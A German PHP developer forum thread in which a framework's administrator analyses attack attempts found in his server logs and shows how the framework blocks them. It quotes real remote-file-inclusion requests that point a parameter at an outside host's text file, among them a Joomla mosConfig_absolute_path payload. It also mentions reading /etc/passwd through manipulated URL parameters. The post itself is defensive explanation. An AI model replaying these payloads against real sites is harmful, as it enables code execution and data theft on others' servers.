Hacking & das Adventure-PHP-Framework

Im Entwickler-Forum können Implementierungsdetails sowie Alternativen der Umsetzung diskutiert werden. // Here, developers can discuss implementation details of features of their projects.
Antworten
Benutzeravatar
dr.e.
Administrator
Beiträge: 4533
Registriert: 04.11.2007, 16:13:53

Hacking & das Adventure-PHP-Framework

Beitrag von dr.e. » 07.01.2008, 12:52:39

Hallo zusammen,

unter http://www.adventure-php-framework.org/Seite/Hacking ist nun ein Artikel über XSS-Angriffe online. Dieser zieht ein Resümee aus dem Betrieb der letzten 3 Monate und zeigt auf, welche Sicherheitsaspekte das Framework bereits mitbringt.
Viele Grüße,
Christian

Benutzeravatar
dr.e.
Administrator
Beiträge: 4533
Registriert: 04.11.2007, 16:13:53

Re: Hacking & das Adventure-PHP-Framework

Beitrag von dr.e. » 07.01.2008, 22:48:20

Da im phpfriend.de-Forum noch mehr Details zum Artikel gewünscht wurden, hier der Beitrag:

Ich kann gerne ausführlicher werden, nur habe ich etwas Bedenken, dass sich Script-Kiddies das als Beispiel-Code nehmen und einfach loslegen und Foren oder andere Applikationen bombadieren.
Wie speziell bei dir eine solche Attacke abgefangen wird, in welche Blöcke es reinläuft (oder "nur" ungültige Request -> Error Response?), ob du das extra mitloggst oder nur aus den Logs geparsed hast und weitere konkrete Code-Beispiele solcher Attacken :)
Ich versuche mal einige Beispiele aus den Logs zu erläutern. Zur Analyse habe ich sowohl access.log und error.log des Apaches als auch die vom Framework zentral geschriebenen PHP-Fehler-Logs ausgewertet und verglichen.

1. Fehler beim Parsen einer URL:
Zum Parsen einer URL kann man im Adventure-PHP-Framework die beiden Komponenten linkHandler und frontcontrollerLinkHandler verwenden. Diese erzeugen eine neue URL basierend auf einer Ausgangs-URL und den "Differenzen", die man im zweiten Argument übergeben kann. Beispiel:

Code: Alles auswählen

   $url = 'http://www.example.com/index.php?param1=value1&param2=value2';
   $changes = array('param1' => 'value1new', 'newparam' => 'newvalue', 'param2' => '');
   echo linkHandler::generateLink($url,$changes);
Die Ausgabe sollte dann
sein. Möchte nun ein Angreifer eine XSS-Lücke auszunutzen, wird er versuchen Code in eine Software über HTTP einzuschleusen und übergibt einem Parameter einen URL-String. In den Logfiles waren hier einige Varianten zu sehen. Einer davon war
Die beiden genannten Komponenten schmeissen bei derartigen URLs jedoch einen Fehler, der in ein Applikationslogfile geschrieben wird. Beispiel:
[2007-12-27 12:38:29] [ERROR] [23896755d222882fd747bc3d5884726c] parse_url(/Seite/Benchmark/myevent.php?myevent_path=http://armageddon0683.zoomshare.com/fil ... k/key1.txt??) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse url (Number: 2, File: /homepages/28/d42046745/htdocs/christian/apps/tools/link/frontcontrollerLinkHandler.php, Line: 278)
Damit ist nicht nur dafür gesorgt, dass die URL keinen Schaden anrichten kann, sondern die Anfrage wird auch in den Logfiles erfasst und kann ausgewertet werden.


Hintergrund:
Hier sollte offensichtlich der Inhalt der Ausgabe der URL in den Code eingebaut werden. Angenommen der Inhalt wird tatsächlich per file_get_contents() oder einer fopen() - fread() - Kombination ausgelesen und in ein Template verpackt, so wird der Code tatsächlich ausgeführt wie normaler PHP-Code. Beispiele hierfür sind das Zend Framework, CakePHP, CodeIgniter und Symphony. Dort werden ViewTemplates als PHP-Scripte ausgeführt und mit den ob_*()-Funktionen entsprechend zusammen gebastelt. Schafft man nun eine unsichere Applikation dazu zu bringen den Code einzubinden, ist die Lücke perfekt.


2. Includes per URL
Wie eigentlich unter 1. bereits angesprochen ist die zweite wirklich große Baustelle die dynamische Generierung von Views, bzw. die Steuerung der Views über URL-Parameter. In vielen Applikationen findet man Steuer-Variablen in URLs, die beispielsweise die Möglichkeit bieten an bestimmten Stellen fremde Inhalte einzubinden. Nehmen wir an, in der URL steht etwa
/?Seite=Gaestebuch&pagepart=verfassen
dann mutmaßen wir, dass der Parameter "pagepart" die Ausgabe auf der Seite "Gaestebuch" steuert. Oft werden diese Parameter dazu verwendet im Programm steuernd einzugreifen, oder unterschiedliche Methoden von Controllern auszuführen oder gar Dateien von Platte einzulesen. Manipuliert man diese Parameter entsprechend, kann man schaffen, diesen zum Auslesen von Systemdateien wie der /etc/passwd oder weiteren zu nutzen. Oft sind Kombinationen von Parametern notwendig um das gewünschte Verhalten zu erzeugen. Auch hier ist es natürlich gefährlich URL-Include zuzulassen, da man sich den unter 1 beschriebenen Fehler einfangen kann.

Fehler, die sich bei mir im Log befanden lauten beispielsweise:
/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.brockwhite.com/test.txt???
Die Jungs versuchen hier - ohne dass ich das näher recherchiert habe - die Konfiguration der Joomla-Installation zu manupulieren und andere Inhalte einzubinden.


Beide Arten der Attacke funktionieren also nur, wenn wir Templates als PHP-Code ausführen und URL-Parameter keinen eingeschränkten Gültigkeitsbereich haben. Nun noch einige Beispiele für die Attacken:

1. Standard Mic32
2. Zweite Mic32
3. Erweitertes Auslesen mit Spiel, Spass und Spannung

Scripte 1 versucht Dinge auszulesen, Script 2 dazu noch Software zu installieren, Script 3 liest ein paar Dinge ein und gibt etwas mehr Informationen wie Script 1. Falls Interesse an weiteren Details besteht, bitte melden.
Viele Grüße,
Christian

Antworten

Wer ist online?

Mitglieder in diesem Forum: 0 Mitglieder und 1 Gast